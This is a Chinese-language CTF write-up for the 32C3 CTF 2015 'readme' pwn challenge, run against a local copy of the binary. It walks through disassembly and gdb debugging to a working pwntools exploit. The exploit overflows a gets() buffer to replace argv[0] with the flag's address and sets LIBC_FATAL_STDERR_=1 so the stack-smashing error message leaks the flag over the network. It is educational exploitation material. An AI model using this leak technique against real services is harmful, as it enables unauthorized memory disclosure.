# 6.1.14 pwn 32C3CTF2015 readme

* [题目复现](#题目复现)
* [题目解析](#题目解析)
* [漏洞利用](#漏洞利用)
* [参考资料](#参考资料)

[下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.14_pwn_32c3ctf2015_readme)

## 题目复现

```
$ file readme.bin
readme.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7d3dcaa17ebe1662eec1900f735765bd990742f9, stripped
$ checksec -f readme.bin
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
No RELRO        Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     1               2       readme.bin
```

开启了 Canary。

flag 就藏在二进制文件中的 .data 段上：

```
$ rabin2 -z readme.bin | grep 32C3
000 0x00000d20 0x00600d20  31  32 (.data) ascii 32C3_TheServerHasTheFlagHere...
```

程序接收两次输入，并打印出第一次输入的字符串（看起来并没有格式化字符串漏洞）：

```
$ ./readme.bin
Hello!
What's your name? %p.%p.%p.%p
Nice to meet you, %p.%p.%p.%p.
Please overwrite the flag: %d.%d.%d.%d
Thank you, bye!
$ python -c 'print "A"*300 + "\n" + "B"' > crash_input
$ ./readme.bin < crash_input
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: ./readme.bin terminated
Aborted (core dumped)
$ python -c 'print "A" + "\n" + "B"*300' | ./readme.bin
Hello!
What's your name? Nice to meet you, A.
Please overwrite the flag: Thank you, bye!
```

第一次输入的字符串过多会导致栈冲突的问题，第二次的输入似乎就没有什么影响。

感觉和 6.1.13 那题一样，都是需要利用 `__stack_chk_fail()` 打印 flag（参考章节 4.12）。但这一题是动态链接程序，因为 libc-2.25 版本的更新，使 `__stack_chk_fail()` 不能用了。所以为了复现，我们选择Ubuntu 16.04，版本是 libc-2.23。

## 题目解析

来看一下程序的逻辑：

```
[0x004006ee]> pdf @ sub.Hello___What_s_your_name_7e0
/ (fcn) sub.Hello___What_s_your_name_7e0 206
|   sub.Hello___What_s_your_name_7e0 ();
|           ; var int local_108h @ rsp+0x108
|           ; CALL XREF from 0x004006e2 (main)
|           0x004007e0      55             push rbp
|           0x004007e1      be34094000     mov esi, str.Hello___What_s_your_name ; 0x400934 ; "Hello!\nWhat's your name? "
|           0x004007e6      bf01000000     mov edi, 1
|           0x004007eb      53             push rbx                     ; 先保存下 rbx 的值，然后 rbx 被用作计数器
|           0x004007ec      4881ec180100.  sub rsp, 0x118               ; rsp = rsp - 0x118
|           0x004007f3      64488b042528.  mov rax, qword fs:[0x28]    ; [0x28:8]=-1 ; '(' ; 40
|           0x004007fc      488984240801.  mov qword [local_108h], rax  ; Canary = [rsp + 0x108]
|           0x00400804      31c0           xor eax, eax
|           0x00400806      e8a5feffff     call sym.imp.__printf_chk
|           0x0040080b      4889e7         mov rdi, rsp                 ; rdi = rsp，所以缓冲区大小 0x108
|           0x0040080e      e8adfeffff     call sym.imp._IO_gets        ; 第一次输入，读取字符串
|           0x00400813      4885c0         test rax, rax
|       ,=< 0x00400816      0f8483000000   je 0x40089f
|       |   0x0040081c      4889e2         mov rdx, rsp
|       |   0x0040081f      be60094000     mov esi, str.Nice_to_meet_you___s.__Please_overwrite_the_flag: ; 0x400960 ; "Nice to meet you, %s.\nPlease overwrite the flag: "
|       |   0x00400824      bf01000000     mov edi, 1
|       |   0x00400829      31c0           xor eax, eax
|       |   0x0040082b      31db           xor ebx, ebx
|       |   0x0040082d      e87efeffff     call sym.imp.__printf_chk
|       |   0x00400832      660f1f440000   nop word [rax + rax]
|       |   ; JMP XREF from 0x0040085c (sub.Hello___What_s_your_name_7e0)
|      .--> 0x00400838      488b3d090520.  mov rdi, qword [obj.stdin]  ; [0x600d48:8]=0 ; 临时存储区
|      :|   0x0040083f      e85cfeffff     call sym.imp._IO_getc        ; 第二次输入，每次读取一个字符
|      :|   0x00400844      83f8ff         cmp eax, 0xffffffffffffffff
|     ,===< 0x00400847      7456           je 0x40089f
|     |:|   0x00400849      83f80a         cmp eax, 0xa                ; 10 ; 是否为换行符
|    ,====< 0x0040084c      7412           je 0x400860
|    ||:|   0x0040084e      8883200d6000   mov byte [rbx + str.32C3_TheServerHasTheFlagHere...], al ; 将字符写入到原 flag+rbx 的地方
|    ||:|   0x00400854      4883c301       add rbx, 1                   ; 计数 + 1
|    ||:|   0x00400858      4883fb20       cmp rbx, 0x20               ; 32 ; 最多读入 0x20 个字符
|    ||`==< 0x0040085c      75da           jne 0x400838                 ; 继续循环
|    ||,==< 0x0040085e      eb18           jmp 0x400878                 ; 结束循环
|    ||||   ; JMP XREF from 0x0040084c (sub.Hello___What_s_your_name_7e0)
|    `----> 0x00400860      ba20000000     mov edx, 0x20               ; 32
|     |||   0x00400865      4863fb         movsxd rdi, ebx
|     |||   0x00400868      31f6           xor esi, esi                 ; rsi = 0
|     |||   0x0040086a      29da           sub edx, ebx                 ; 0x20 - 计数
|     |||   0x0040086c      4881c7200d60.  add rdi, str.32C3_TheServerHasTheFlagHere... ; rdi = flag+rbx
|     |||   0x00400873      e8f8fdffff     call sym.imp.memset         ; void *memset(void *s, int c ; 将剩余的 flag 覆盖为 0
|     |||   ; JMP XREF from 0x0040085e (sub.Hello___What_s_your_name_7e0)
|     |`--> 0x00400878      bf4e094000     mov edi, str.Thank_you__bye ; 0x40094e ; "Thank you, bye!
|     | |   0x0040087d      e8befdffff     call sym.imp.puts           ; int puts(const char *s)
|     | |   0x00400882      488b84240801.  mov rax, qword [local_108h] ; [0x108:8]=-1 ; 264
|     | |   0x0040088a      644833042528.  xor rax, qword fs:[0x28]
|     |,==< 0x00400893      7514           jne 0x4008a9                 ; 验证 Canary
|     |||   0x00400895      4881c4180100.  add rsp, 0x118
|     |||   0x0040089c      5b             pop rbx
|     |||   0x0040089d      5d             pop rbp
|     |||   0x0040089e      c3             ret
|     |||   ; JMP XREF from 0x00400816 (sub.Hello___What_s_your_name_7e0)
|     |||   ; JMP XREF from 0x00400847 (sub.Hello___What_s_your_name_7e0)
|     `-`-> 0x0040089f      bf01000000     mov edi, 1
|      |    0x004008a4      e887fdffff     call sym.imp._exit          ; void _exit(int status)
|      |    ; JMP XREF from 0x00400893 (sub.Hello___What_s_your_name_7e0)
\      `--> 0x004008a9      e8a2fdffff     call sym.imp.__stack_chk_fail ; void __stack_chk_fail(voi    ; 验证失败时调用
[0x004006ee]> px 0x20 @ str.32C3_TheServerHasTheFlagHere...
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00600d20  3332 4333 5f54 6865 5365 7276 6572 4861  32C3_TheServerHa
0x00600d30  7354 6865 466c 6167 4865 7265 2e2e 2e00  sTheFlagHere....
```

看注释已经很明显了，第一次的输入需要我们触发栈溢出，使程序调用 `__stack_chk_fail()`，并打印出 `argv[0]`。第二次的输入将覆盖掉位于 `0x00600d20` 的 flag。

## 漏洞利用

那么问题来了，如果 flag 被覆盖掉了，那还怎样将其打印出来。这就涉及到了 ELF 文件的映射问题，我们知道 x86-64 程序的映射是从 `0x400000` 开始的：

```
$ ld --verbose | grep __executable_start
  PROVIDE (__executable_start = SEGMENT_START("text-segment", 0x400000)); . = SEGMENT_START("text-segment", 0x400000) + SIZEOF_HEADERS;
```

在调试时我们又发现 readme.bin 被映射到下面的两个地址中：

```
gdb-peda$ b *0x0040080e
Breakpoint 1 at 0x40080e
gdb-peda$ r
gdb-peda$ vmmap readme.bin
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/firmyy/readme.bin
0x00600000         0x00601000         rw-p	/home/firmyy/readme.bin
```

所以只要在二进制文件 `0x00000000~0x00001000` 范围内的内容都会被映射到内存中，分别以 `0x600000` 和 `0x400000` 作为起始地址 。flag 在 `0x00000d20`，所以会在内存中出现两次，分别位于 `0x00600d20` 和 `0x00400d20`：

```
gdb-peda$ find 32C3
Searching for '32C3' in: None ranges
Found 2 results, display max 2 items:
readme.bin : 0x400d20 ("32C3_TheServerHasTheFlagHere...")
readme.bin : 0x600d20 ("32C3_TheServerHasTheFlagHere...")
```

所以即使 `0x00600d20` 的 flag 被覆盖了，`0x00400d20` 的 flag 依然存在。

让我们来找出 `argv[0]` 距离栈的距离：

```
gdb-peda$ find /home/firmyy/readme.bin
Searching for '/home/firmyy/readme.bin' in: None ranges
Found 3 results, display max 3 items:
[stack] : 0x7fffffffe097 ("/home/firmyy/readme.bin")
[stack] : 0x7fffffffef9f ("/home/firmyy/readme.bin")
[stack] : 0x7fffffffefe0 ("/home/firmyy/readme.bin")
gdb-peda$ find 0x7fffffffe097
Searching for '0x7fffffffe097' in: None ranges
Found 2 results, display max 2 items:
   libc : 0x7ffff7dd23d8 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
[stack] : 0x7fffffffdc78 --> 0x7fffffffe097 ("/home/firmyy/readme.bin")
gdb-peda$ x/10gx 0x7fffffffdc78
0x7fffffffdc78:	0x00007fffffffe097	0x0000000000000000
0x7fffffffdc88:	0x00007fffffffe0af	0x00007fffffffe0ba
0x7fffffffdc98:	0x00007fffffffe0cf	0x00007fffffffe0e6
0x7fffffffdca8:	0x00007fffffffe0f8	0x00007fffffffe12a
0x7fffffffdcb8:	0x00007fffffffe142	0x00007fffffffe158
gdb-peda$ x/10s 0x00007fffffffe097
0x7fffffffe097:	"/home/firmyy/readme.bin"
0x7fffffffe0af:	"XDG_VTNR=7"
0x7fffffffe0ba:	"LC_PAPER=zh_CN.UTF-8"
0x7fffffffe0cf:	"LC_ADDRESS=zh_CN.UTF-8"
0x7fffffffe0e6:	"XDG_SESSION_ID=c1"
0x7fffffffe0f8:	"XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/firmyy"
0x7fffffffe12a:	"LC_MONETARY=zh_CN.UTF-8"
0x7fffffffe142:	"CLUTTER_IM_MODULE=xim"
0x7fffffffe158:	"SESSION=ubuntu"
0x7fffffffe167:	"GPG_AGENT_INFO=/home/firmyy/.gnupg/S.gpg-agent:0:1"
gdb-peda$ distance $rsp 0x7fffffffdc78
From 0x7fffffffda60 to 0x7fffffffdc78: 536 bytes, 134 dwords
```

`536=0x218` 个字节。第一次尝试：

```python
from pwn import *

io = remote("127.0.0.1", 10001)
payload_1 = "A"*0x218 + p64(0x400d20)
io.sendline(payload_1)
payload_2 = "A"*4
io.sendline(payload_2)
print io.recvall()
```

在第一个终端里执行下面的命令，相当于远程服务器，并且将 stderr 重定向到 stdout：

```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
```

然后在第二个终端里执行 exp：

```
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[+] Receiving all data: Done (627B)
[*] Closed connection to 127.0.0.1 port 10001
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
Please overwrite the flag: Thank you, bye!
```

咦，flag 并没有在我们执行 exp 的终端里打印出来，反而是打印在了执行程序的终端里：

```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./readme.bin,stderr
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
```

所以我们需要做点事情，让远程服务器上的错误信息通过网络传到我们的终端里。即利用第二次的输入，将 `LIBC_FATAL_STDERR_=1` 写入到环境变量中。结果如下：

```
gdb-peda$ x/10gx $rsp+0x218
0x7fffffffdcd8:	0x0000000000400d20	0x0000000000000000
0x7fffffffdce8:	0x0000000000600d20	0x00007fffffffe100
0x7fffffffdcf8:	0x00007fffffffe123	0x00007fffffffe155
0x7fffffffdd08:	0x00007fffffffe181	0x00007fffffffe19f
0x7fffffffdd18:	0x00007fffffffe1bf	0x00007fffffffe1df
gdb-peda$ x/s 0x400d20
0x400d20:	"32C3_TheServerHasTheFlagHere..."
gdb-peda$ x/s 0x600d20
0x600d20:	"LIBC_FATAL_STDERR_=1"
```

函数 `__GI___libc_secure_getenv` 成功获取到了环境变量 `LIBC_FATAL_STDERR_` 的值 `1`：

```
gdb-peda$ ni
[----------------------------------registers-----------------------------------]
RAX: 0x600d33 --> 0x31 ('1')
RBX: 0x7ffff7b9c49f ("*** %s ***: %s terminated\n")
RCX: 0xe
RDX: 0x0
RSI: 0x7ffff7b9ab8e ("BC_FATAL_STDERR_")
RDI: 0x600d22 ("BC_FATAL_STDERR_=1")
RBP: 0x7fffffffda80 --> 0x7ffff7b9c481 ("stack smashing detected")
RSP: 0x7fffffffd9f0 --> 0x0
RIP: 0x7ffff7a8455a (<__libc_message+74>:	test   rax,rax)
R8 : 0x1010
R9 : 0x24a
R10: 0x1c7
R11: 0x0
R12: 0x7ffff7b9ac35 ("<unknown>")
R13: 0x7fffffffdcd0 ("AAAAAAAA \r@")
R14: 0x0
R15: 0x1
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7a8454a <__libc_message+58>:	mov    DWORD PTR [rbp-0x78],0x10
   0x7ffff7a84551 <__libc_message+65>:	mov    QWORD PTR [rbp-0x68],rax
   0x7ffff7a84555 <__libc_message+69>:	call   0x7ffff7a46ef0 <__GI___libc_secure_getenv>
=> 0x7ffff7a8455a <__libc_message+74>:	test   rax,rax
   0x7ffff7a8455d <__libc_message+77>:	je     0x7ffff7a84568 <__libc_message+88>
   0x7ffff7a8455f <__libc_message+79>:	cmp    BYTE PTR [rax],0x0
   0x7ffff7a84562 <__libc_message+82>:	jne    0x7ffff7a846f7 <__libc_message+487>
   0x7ffff7a84568 <__libc_message+88>:	mov    esi,0x902
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd9f0 --> 0x0
0008| 0x7fffffffd9f8 --> 0x0
0016| 0x7fffffffda00 --> 0x0
0024| 0x7fffffffda08 --> 0x10
0032| 0x7fffffffda10 --> 0x7fffffffda90 --> 0x14
0040| 0x7fffffffda18 --> 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
0048| 0x7fffffffda20 --> 0x7ffff7dd2620 --> 0xfbad2887
0056| 0x7fffffffda28 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
__libc_message (do_abort=do_abort@entry=0x1, fmt=fmt@entry=0x7ffff7b9c49f "*** %s ***: %s terminated\n")
    at ../sysdeps/posix/libc_fatal.c:81
81  ../sysdeps/posix/libc_fatal.c: No such file or directory.
```

Bingo!!!

```
$ python exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[+] Receiving all data: Done (703B)
[*] Closed connection to 127.0.0.1 port 10001
Hello!
What's your name? Nice to meet you, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA @.
Please overwrite the flag: Thank you, bye!
*** stack smashing detected ***: 32C3_TheServerHasTheFlagHere... terminated
```

### exploit

最终的 exp 如下：

```python
from pwn import *

io = remote("127.0.0.1", 10001)
#io = process('./readme.bin')
#context.log_level = 'debug'

payload_1 = "A"*0x218 + p64(0x400d20) + p64(0) + p64(0x600d20)
io.sendline(payload_1)

payload_2 = "LIBC_FATAL_STDERR_=1"
io.sendline(payload_2)

print io.recvall()
```

## 参考资料

* <https://ctftime.org/task/1958>
* <https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/pwn/readme-200>
